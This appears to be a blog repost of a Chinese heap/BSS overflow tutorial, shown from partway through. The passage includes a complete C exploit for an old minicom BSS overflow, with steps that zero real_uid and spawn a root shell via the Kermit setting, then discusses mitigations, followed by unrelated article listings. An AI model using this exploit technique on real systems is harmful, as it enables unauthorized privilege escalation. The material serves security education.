我们已经看到,在这些例子中,heap区的溢出可以导致很大的安全问题。而在真实的环境
中,heap区的敏感数据也可能被覆盖。例如:

          函数原因
   1. *gets()/*printf(), *scanf()     __iob (FILE)结构储存在heap
   2. popen()                         __iob (FILE)结构储存在heap
   3. *dir() (readdir, seekdir, ...)  DIR 结构 (dir/heap buffers)
   4. atexit()                        静态/全局函数指针
   5. strdup()                        在heap区动态分配数据
   7. getenv()                        储存数据在heap区
   8. tmpnam()                        储存数据在heap区
   9. malloc()                        链指针
   10. rpc callback 函数          函数指针
   11. windows callback 函数          函数指针保存在heap区
   12. signal handler pointers        
函数指针(注意:unix在内核中跟踪这些信号,
       in cygnus (gcc for win),       而不是在heap中)

printf(),fget(),readir(),seekdir()等函数为FILE结构在heap中分配的空间可以被重写。
atexit()的函数指针将在程序中断时被调用。strdup()会将字符串(如文件名,口令等等)
储存在heap区。malloc()的链指针能被用来非法访问内存。getenv()将数据储存在heap中,
允许我们修改$HOME等变量。svc/rpc注册函数(librpc,libnsl等等)将回叫函数指针储存在
heap中.

现在我们来看一个真实的例子。版本低于1.81.1的minicom有不少缓冲区溢出的漏洞。
其中一个是:
                case 't': /* Terminal type */
溢出 --->                    strcpy(termtype, optarg);
#ifdef __linux__
                        /* Bug in older libc's (< 4.5.26 I think) */
                        if ((s = getenv("TERMCAP")) != NULL && *s != '/')
                                unsetenv("TERMCAP");
#endif
termtype是static型的数组,也就是在BSS区。现在我们看看是否这块内存中有什么重要
的东西。在minicom.h中,我们看到了:

EXTERN int real_uid;    /* 真实的用户id */
EXTERN int real_gid;    /* 真实的组id */
EXTERN int eff_uid;     /* 有效的用户id */
EXTERN int eff_gid;     /* 有效的组id */
如果我们能够修改real_uid,那我们就可能获得root的特权。先让我们看看
它离termtype有多员,我们在minicom.c中插入一行代码:

printf ("real_uid is at: %x/n"
"termtype is at: %x/n", &real_uid,termtype);

输出结果如下:
real_uid is at: 80664b4
termtype is at: 8066480

很好,real_uid的地址比termtype高52个字节.我们只要将第53,54,55,56字节赋为0即可.
但字符串中只有最后一个字节(终止符)才能为0,所以我们不得不执行4次覆盖。
getopg()可以重复的读取一个参数(这里是
-t),因此我们先让它读取termtype+55长的字
符串,这将使realid的最后一个字节为0。然后依次用termtype+54,termtype+53,termtyp
e+52来覆盖。这样就会使realid的四个字节都变成0了。

----------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define OFFSET          52

/* if you figure this out, you could try defining it */
//#define UTTY "/dev/ttyp0"

char * makestring (int ch, int len)
{
        static char b[500];
        int     i;

        for (i=0 ; i<len ; i++)
        {
                b[i] = ch;
        }
        b[i] = 0;
        return b;
}

int main (int argc, char **argv)
{
        char    bleh[4][60];

        strcpy (bleh[0],makestring(255,OFFSET+3));/*
为了覆盖termtype+55处的字节*/
        strcpy (bleh[1],makestring(255,OFFSET+2));/*
为了覆盖termtype+54处字节*/
        strcpy (bleh[2],makestring(255,OFFSET+1));/*
为了覆盖termtype+53处字节*/
        strcpy (bleh[3],makestring(255,OFFSET));  /*
为了覆盖termtype+52处字节*/

#ifdef UTTY
        execl ("/usr/bin/minicom","minicom",
        "-t",bleh[0],"-t",bleh[1],
        "-t",bleh[2],"-t",bleh[3],
        "-t","vt100","-s",
        "-p",UTTY,NULL);
#else
        execl ("/usr/bin/minicom","minicom",
        "-t",bleh[0],"-t",bleh[1],
        "-t",bleh[2],"-t",bleh[3],
        "-t","vt100",
        "-s",NULL);
#endif
        return 0;
}
-------------------------------------------------------------------------------

所以现在real_uid变成了0x00000000 (root)
我们可以通过minicom来执行一个root
shell.在执行了上述代码以后,你会发现minicom
的显示变成乱字符了。我们可以在另一个终端重新起一个minicom,看一下它的菜单,选择
`Filenames and paths':

A - Download directory : /tmp
B -   Upload directory :
C -   Script directory :
D -     Script program : runscript
E -     Kermit program : /usr/bin/kermit
    Change which setting?

我们只要将`E- Kermit program'
中的/usr/bin/kermit改成/bin/bash,我们就可以获得
一个root shell了。切换回原先的终端,修改'E'项,然后按CTRL+A+K启动kermit,
bash#

这是heap/BSS溢出的一个实例。这样的例子正在逐渐地增加,前不久CERT公布的wuftp
2.
5.0的mapped_path漏洞就是一个heap溢出(longjmp/setjmp)的新例子,有兴趣的可以自己
看一下。

四. 可能的解决方法
~~~~~~~~~~~~~~~~~~
很明显,防止基于heap的溢出的最佳方法就是编写优秀的代码!同堆栈溢出一样,并没有一
种方法能真正防止heap溢出.
我们可以使用Richard Jones和Paul
Kelly开发的带边界检查的gcc/egcs(它应该可以检查
大部分的潜在的溢出问题).这个程序可以从Richard Jone的主页上下载:
http://www.annexia.demon.co.uk
它能检查大多数由于人为的疏忽而导致的溢出.例如:
"int array[10];
for (i = 0; i <= 10; i++) array[i] = 1".

注意:
    对于Windows系统,可以用NuMega的边界检查程序.它的功能和带边界检查的gcc
    类似.

我们总是可以做一个不可执行heap的patch(就想前面所提到的,大多数系统都有一个可执行
的heap).在和Solar
Designer交换意见以后,他提到不可执行heap的主要问题是可能会影响
到编译器,解释器等等

注意:

  
即使一个heap不可执行,也并不能解决溢出的问题.因为尽管我们不能在heap执行指令.
   我们仍然可以覆盖在heap中的数据.(就象前面minicom的例子)

另一个可能的方法就是做一个"HeapGuard",类似Crispin
Cowan的StackGuard.他们已经开
发了一个新的PointGuard,用来防止函数指针的溢出以及jmpbuf的溢出,据称经过配置也可
以防止stack/heap/bss中变量的非法覆盖.详细资料可以参看他们新发表的文章:
<<Buffer Overflows: Attacks and Defenses for the Vulnerability of the
Decade>>

<完>


参考文献:

[1] <<w00w00 on Heap Overflows>>  by Matt Conover (a.k.a. Shok) & w00w00
Security Team
[2] <<Buffer Overflows: Attacks and Defenses for the Vulnerability of the
Decade>>
     by Crispin Cowan, Perry Wagle, Calton Pu,Steve Beattie, and Jonathan
Walpole
[3] <<a fuqn awesome minicom static buffer overflow>>. "ohday" . B4B0,3(9)
[4] <<Smashing The Stack For Fun And Profit>>. "Aleph One". Phrack, 7(49)

CopyRight (C)2001-2003 SafeChina.net All Rights Reserved

深度解密内存黑匣子:程序地址空间的底层机理与实战探索 程序地址空间和内存管理无疑是编程中的一大挑战。通过深入理解程序内存的底层结构和管理原理,开发者不仅能够更好地编写高效、安全的代码,还能在面对复杂的系统调试时更加得心应手。内存黑匣子中的“谜团”虽然复杂,但通过不断学习和实践,我们可以解锁更多的内存管理技巧,提升我们的编程能力。如果你也对内存管理、栈溢出、内存泄漏等问题感兴趣,或者有任何疑问,欢迎在评论区讨论,共同探讨这个充满挑战与乐趣的编程领域。 阅读详情

相关推荐

FreeRTOS任务栈溢出:原理、定位与防护实战

任务栈是嵌入式实时系统中保障多任务确定性执行的关键内存资源,其本质是函数调用栈与上下文保存区的双重叠加结构。理解栈空间的物理布局、溢出触发机制及静默破坏特性,是实现系统稳定运行的基础。FreeRTOS通过硬件寄存器自动压栈、任务切换时栈指针管理等机制构建调度基础,但栈大小配置不当或中断嵌套失控极易引发HardFault、数据错乱等隐蔽故障。结合`uxTaskGetStackHighWaterMark`水位监测、`configCHECK_FOR_STACK_OVERFLOW=2`高精度检测及独立中断栈配置,可

weixin_42587866的博客 544

【转帖】Heap/BSS 溢出机理分析

堆栈溢出的问题已经广为人知,越来越多的操作系统商家增加了不可执行堆栈的补丁,一些个人也提供了自己的补丁,象著名的Solar Designer提供的针对Linux的不可执行堆栈的kernel patch(目前已经推出了用于2.2.13内核的patch),也有一些人开发了一些编译器来防止堆栈溢出,象Crispin Cowan等开发的StackGuard等等。这些方法都一定程度上可以减少由堆栈溢出导致的安全问题,但是并却不能防止Heap/BSS的溢出。在大多数的操作系统中,Heap和BSS段都是可写可执行的。这

dragonbooker的专栏 1318

从C语言反编译看汇编:手把手用GCC和objdump揭秘函数调用与内存布局

本文通过GCC和objdump工具链,深入解析C语言反编译为汇编语言的过程,揭秘函数调用与内存布局的底层机制。从栈帧可视化到内存区域划分,再到控制结构和指针操作的汇编实现,手把手教你理解高级语言到机器指令的转换。适合希望深入理解程序运行原理的开发者。

weixin_30279315的博客 361

意思篇:全开,bss段数组溢出,打stdout和data数据区域进行读取(很有意思)

前言:这道题我看了一个师傅的wp,发现这道题感觉很有意思,所以这里就记录一下,像标题一样,很有意思,这道题大概就是数组溢出bss,在bss有stdin和stdout,stderr,freehook,溢出打这些东西来完成泄露任意写的目的,最后打freehook的时候,要利用一个_IO_file_jumps ----》io——overflow这个东西溢出到onegadget即可,具体看exp就会明白,这里参考了另一个师傅的exp,非常有参考价值,学到很多东西,嘿嘿 exp: from pwn import

qq_39948058的博客 769

C++栈溢出问题解析:从静态数组到现代容器的内存管理实践

在C++程序开发中,内存管理是核心基础概念之一,涉及栈、堆和静态存储区等不同内存区域的原理与使用。栈空间作为函数调用和局部变量的存储区域,其大小有限,通常只有1-8MB,当在函数内部声明大型静态数组(即固定大小的局部数组)时,容易因超出栈容量而导致栈溢出,引发程序崩溃。这一问题的技术价值在于理解不同内存区域的特性和生命周期管理,对于编写健壮、高效的C++代码至关重要。在实际应用场景中,如递归算法、图形处理或大规模数据计算时,不当的栈内存使用会成为性能瓶颈和稳定性隐患。本文通过分析栈溢出问题的根源,对比静态数

weixin_33957648的博客 411

STM32 HardFault硬件错误调试全攻略:从原理到实战解决内存访问与堆栈溢出

在嵌入式系统开发中,内存访问违规和堆栈溢出是导致程序崩溃的常见根源,尤其在基于ARM Cortex-M内核的微控制器(如STM32)中,这类错误常以HardFault(硬件错误)的形式出现。HardFault是处理器检测到无法处理的严重违规操作时触发的最高优先级异常,其本质是程序执行触犯了CPU的底层保护规则,例如访问非法内存地址或执行未定义指令。理解其原理对于构建稳定可靠的嵌入式系统至关重要,它能帮助开发者从底层掌握系统运行状态,快速定位深层次缺陷。在工程实践中,通过解析状态寄存器、设置内存保护单元(MP

快马扬鞭须努力! 477

栈溢出、堆溢出与BSS溢出:底层原理与案例分析

本文系统分析了三种常见内存溢出漏洞:栈溢出、堆溢出和BSS溢出。栈溢出通过覆盖返回地址执行恶意代码;堆溢出利用动态内存管理机制实施攻击;BSS溢出则针对静态数据区中的全局变量。文章详细剖析了各类溢出的底层原理、典型攻击手法及历史案例(如Morris蠕虫、Heartbleed漏洞),并提出了多层次的防护措施,包括编译选项优化、运行时防护技术和安全编码实践。最后展望了内存安全领域的未来发展趋势,强调硬件辅助防护、内存安全语言和静态分析技术的重要性。全文揭示了内存安全的核心挑战,为构建安全可靠的软件系统提供了系统

这里是数字化与人工智能的 “实验场” 与 “瞭望台” 1471

Unity AR开发实战:从Vuforia图片识别到实体识别全流程解析

增强现实(AR)技术通过计算机视觉算法将虚拟信息叠加到现实世界,其核心原理在于对现实环境的感知与理解。在移动端AR开发中,图像识别与物体识别是实现虚实融合的关键技术,它们决定了虚拟内容能否准确、稳定地与现实对象对齐。Vuforia作为成熟的商业AR SDK,为开发者提供了从平面图像识别(Image Target)到三维实体识别(Model Target)的完整解决方案,极大降低了计算机视觉技术的应用门槛。在工程实践中,Vuforia通过封装复杂的特征提取与匹配算法,使开发者能够专注于交互设计与内容制作,广泛

weixin_30972263的博客 301

一篇文章玩明白Stack-migration

当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。

YJ_12340的博客 853

别再手动填数据了!Vivado里用.coe文件给ROM IP核预装数据的保姆级教程

本文详细介绍了在Vivado中使用.coe文件为ROM IP核预装数据的全流程教程,包括文件格式规范、数据转换技巧和Vivado配置指南。通过自动化数据加载,开发者可以显著提升FPGA开发效率,避免手动输入错误,适用于查找表、波形存储等多种应用场景。

weixin_33377602的博客 337

手把手教你用STM32单片机控制双向可控硅调光(附完整代码+电路图)

本文提供了一套完整的STM32单片机控制双向可控硅实现灯光无级调光的实战方案。详细讲解了硬件电路设计,包括过零检测与隔离驱动,并剖析了基于定时器中断的软件核心逻辑,通过精准的相位角计算实现平滑的灯光强度控制。附有完整代码与电路图,适合嵌入式开发者实践。

weixin_29194255的博客 955

Heap/BSS 溢出机理分析[转]

[前言: ] [ 这篇文章主要是基于w00w00发表的: ] [ w00w00 on Heap Overflows ] [By: Matt Conover (a.k.a. Shok) & w00w00 Security Team ] [---------------------------------------...

weixin_30466953的博客 302

5.4 GTT BO的内存分配分析

本文分析了AMD GPU驱动中的GTT技术实现。GTT作为GPU页表,负责管理主机内存与GPU虚拟地址的映射,支持大容量内存访问和统一寻址。文章详细介绍了GTT的核心数据结构amdgpu_gtt_mgr、初始化流程,以及BO(Buffer Object)创建时GTT区间的分配与释放机制。GTT管理通过TTM框架实现分层设计,提供内存统计、兼容性检查等接口,并支持动态迁移、多进程隔离等高级特性。该机制为AMD GPU提供了高效灵活的内存管理基础。

图形/计算GPU的驱动与虚拟化技术分享园地 3735

HeapBSS溢出机理分析

HeapBSS溢出机理分析 作者:warning3 虽然基于Heap(堆)/BSS的溢出现在是相当普遍的,但并没有多少介绍它的资料。本文将帮你理解什么是Heap溢出,也介绍了几种常用的攻击方法,同时给出了一些可能的解决方案。阅读本文,您需要了解一些汇编,C语言以及堆栈溢出的基本知识。 一.为什么Heap/BSS溢出很重要? 堆栈溢出的问题已经广为人知,越来越多的操作系统商家增加了不可执行堆...

weixin_30337157的博客 969

解决Todesk连接卡在100%问题:remote display server is not supported (e.g. Wayland)

摘要:解决Ubuntu 22.04远程桌面连接问题(AnyDesk报错"remote display server not supported"及向日葵/Todesk无法显示)。方法:1)安装lightdm显示管理器;2)启用lightdm并禁用gdm;3)编辑/etc/gdm3/custom.conf文件,添加WaylandEnable=false;4)重启系统。注:后续可通过命令切换回gdm显示管理器。该方法适用于解决Wayland显示协议导致的远程桌面连接兼容性问题。

猿小白的博客 1573

pandas教程:2012 Federal Election Commission Database 2012联邦选举委员会数据库

里面包含了支持者的名字,职业和雇主,地址,赞助金额。我们可以已经能想到如何切割、整理数据,来提取赞助者的统计数据,或提取宣传活动的模式,这里我们展示一些不同的分析方法。可以看到有些职业是同一种工作类型,指代的是同一个东西。这两个连续操作是分别独立执行的,一个结束后,另一个才开始。上,这里我是把数据集压缩成了ZIP格式,解压后能正常导入)。我觉得也有必要好好了解一下,这个网站做了很好的讲解,),所以我们最好添加这样的信息。这样的情况,即把两个索引操作连在一起。,发现映射关系被正常执行了,所以这里的。

Cachel Wood的博客 349

一种新的Heap区溢出技术分析

来源:http://www.nsfocus.com作者:warning3 ★ 前言通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来完成攻击。这方面内容请参看我原来翻译整理的:http://magazine.nsfocus.com/detail.asp?id=353如果系统中没有这些条件,尽管能够发生溢出,攻击者仍然很难执行自己的代码。这里介绍一种利用malloc/r

xuan9932的专栏 993

【git】git: ‘interpret-trailers’ is not a git command. See ‘git --help’

cents 7.6系统. yum源安装git最新版本是1.8.3 报错: git: 'interpret-trailers' is not a git command. See 'git --help'. cannot insert change-id line in .git/COMMIT_EDITMSG 解决: git add xxx git commit -m "xxx" 然后修改 vim .git/hooks/commit-msg #if test -n "${reviewurl}" ; th

machh的专栏 4758

【转帖】一种新的Heap区溢出技术分析

通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来完成攻击。如果系统中没有这些条件,尽管能够发生溢出,攻击者仍然很难执行自己的代码。这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap攻击的可能性大大增加了。

dragonbooker的专栏 1263

22h2版本的win10安装Docker Desktop时页面空白

摘要:Windows10 22H2系统重装Docker时出现安装界面卡死问题,通过管理员CMD执行静默安装命令解决。命令指定了WSL-2后端及多个自定义数据存储路径(安装目录、Hyper-V数据、Windows容器数据、WSL数据),安装需等待几分钟。最终验证安装成功。

猿小白的博客 655

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

【分析】一种新的Heap区溢出技术分析

◆ 一种新的Heap区溢出技术分析 作者:warning3 主页:http://www.nsfocus.com/ 日期:2001-3-09      ★ 前言  通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来  完成攻击。这方面内容请参看我原来翻译整理的:  http://magazine.nsfocus.com/detail.asp?id=353  如果系统

FreeXploiT 1705

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

一种新的Heap区溢出技术分析[转贴]

一种新的Heap区溢出技术分析[转贴]---http://www.linuxsir.org/bbs/thread50097.html 作者:warning3 < maito:warning3@nsfocus.com > 主页:http://www.nsfocus.com 日期:2001-3-09 原文出处:http://www.nsfocus.ne...

weixin_30819163的博客 208

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

上一篇: C语言之extern声明辨析
下一篇: 黑客中级技术--缓冲区溢出攻击(上)
bmsdr
博客等级 码龄22年 11粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值